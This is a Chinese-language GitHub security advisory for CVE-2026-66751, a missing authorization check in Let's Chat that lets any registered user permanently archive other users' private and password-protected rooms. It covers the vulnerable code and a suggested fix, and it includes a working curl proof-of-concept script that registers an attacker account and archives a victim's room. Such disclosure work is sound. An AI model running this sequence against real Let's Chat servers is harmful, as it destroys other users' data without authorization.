theopaid/CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat-
GitHub: theopaid/CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat-
记录 Let's Chat 应用中因 DELETE /rooms/:room 缺少授权检查导致任意用户可删除他人私密房间的安全漏洞(CVE-2026-66751)的披露仓库。
Stars: 0 | Forks: 0
# 安全通告:访问控制不足导致未授权删除房间 (Let's Chat)
**分配的 CVE ID:** CVE-2026-66751
## 概述
`DELETE /rooms/:room` 除了要求登录外,没有执行任何授权检查。任何账户都可以归档服务器上的任何房间,包括该账户无权读取、加入或修改的私密和受密码保护的房间。
归档是 Let's Chat 删除房间的方式。房间会从房间列表中消失,直接查找会返回 404,并且向其发送消息或上传文件会被拒绝。应用程序中没有任何代码路径可以逆转此操作。
## 受影响版本
仓库 URL:https://github.com/sdelements/lets-chat
受影响版本从 0.3.0(commit `5b5f46f`,2015 年 1 月 2 日,“Rooms are archived, instead of deleted”)起,至最终版本 0.4.8。目前没有修复版本。
私密和受密码保护的房间是在 0.4.0 中引入的,因此攻击者销毁其无法查看内容的房间的情况适用于 0.4.0 及之后的版本。缺失检查本身则可追溯至 0.3.0。
已在 0.4.8(commit `617207f`)以及 `docker.io/sdelements/lets-chat:latest` (0.4.7) 上确认。
## 分类
CWE-862:缺少授权 (Missing Authorization)。
CVSS 4.0 基础分数 5.3(中危)
`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N`
## 威胁模型
攻击者需要一个普通用户账户以及对 HTTP 端口的网络访问权限。他们不需要拥有该房间、属于该房间、知道其密码或拥有任何提升的权限角色。
默认情况下启用自行注册功能(`defaults.yml` 中的 `auth.local.enableRegistration`)。选择目标没有任何成本。根据设计,`GET /rooms` 会向每个用户列出受密码保护的房间,因此攻击者可以读取完整的房间 ID 列表,并依次归档每一个房间。
## 技术细节
该路由只需要登录并解析出房间,仅此而已。
`app/controllers/rooms.js:99-109`:
```
app.route('/rooms/:room')
.all(middlewares.requireLogin, middlewares.roomRoute)
.get(function(req) {
req.io.route('rooms:get');
})
.put(function(req) {
req.io.route('rooms:update');
})
.delete(function(req) {
req.io.route('rooms:archive');
});
```
该处理器仅将房间 ID 传递给下游。它从不检查 `req.user`。
`app/controllers/rooms.js:217-232`:
```
archive: function(req, res) {
var roomId = req.param('room') || req.param('id');
core.rooms.archive(roomId, function(err, room) {
if (err) {
console.log(err);
return res.sendStatus(400);
}
if (!room) {
return res.sendStatus(404);
}
res.sendStatus(204);
});
},
```
manager 不接收任何用户参数,因此它原则上也无法检查所有权。
`app/core/rooms.js:123-137`:
```
RoomManager.prototype.archive = function(roomId, cb) {
var Room = mongoose.model('Room');
Room.findById(roomId, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb('Room does not exist.');
}
room.archived = true;
```
相邻的更新路径确实检查了所有权,这使得这看起来更像是一个疏忽,而不是刻意为之。`app/core/rooms.js:89-91`:
```
if(room.private && !room.owner.equals(options.user.id)) {
return cb('Only owner can change private room.');
}
```
客户端也遵循这种更严格的逻辑。`media/js/views/room.js:28-31` 决定了谁能看到编辑控件,而“归档房间”按钮就位于此控件打开的编辑模态框内:
```
var iAmOwner = this.model.get('owner') === this.client.user.id;
var iCanEdit = iAmOwner || !this.model.get('hasPassword');
this.model.set('iAmOwner', iAmOwner);
this.model.set('iCanEdit', iCanEdit);
```
对于受密码保护的房间,非所有者永远看不到该按钮。此限制仅存在于浏览器端。
## 复现
要求设置 `rooms.private: true`(或 `LCB_ROOMS_PRIVATE=true`),以便可以创建私密房间。缺失检查本身适用于所有房间,无论该设置如何。
```
BASE=http://localhost:5000
# 两个不相关的账号。
for U in victim attacker; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"$U@example.com\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# 受害者创建一个私密的、受密码保护的 room。注意返回的 id。
curl -s -b victim.txt -X POST $BASE/rooms \
-H 'Content-Type: application/json' \
-d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'
RID=
# 攻击者无法读取它,也无法修改它。
curl -s -b attacker.txt "$BASE/messages?room=$RID"
curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
-H 'Content-Type: application/json' -d '{"name":"x"}'
# 攻击者无论如何都会将其归档。
curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID
# 所有者无法再访问他们自己的 room。
curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID
```
## 影响
请求发出后,对于所有用户,该房间都会从 `GET /rooms` 中消失,`GET /rooms/:id` 返回 404,并且 `messages:create` 和 `files:create` 会拒绝相关操作(`app/core/messages.js:28-30`,`app/core/files.js:55-57`)。`app/` 中没有任何地方会将 `archived` 设置回 `false`,因此恢复需要直接的数据库访问权限。
## 修复建议
将调用者传递给 manager 并在归档前检查所有权,与现有的 `update` 方法保持一致。在 `app/controllers/rooms.js:217` 中:
```
archive: function(req, res) {
var roomId = req.param('room') || req.param('id');
core.rooms.archive(roomId, { user: req.user }, function(err, room) {
```
并在 `app/core/rooms.js:123` 中,在 `if (!room)` 检查之后:
```
if (!room.owner.equals(options.user.id)) {
return cb('Only the owner can archive this room.');
}
```
标签:CVE, Let's Chat, MITM代理, Web安全, 数字签名, 权限控制缺陷, 漏洞报告, 蓝队分析, 请求拦截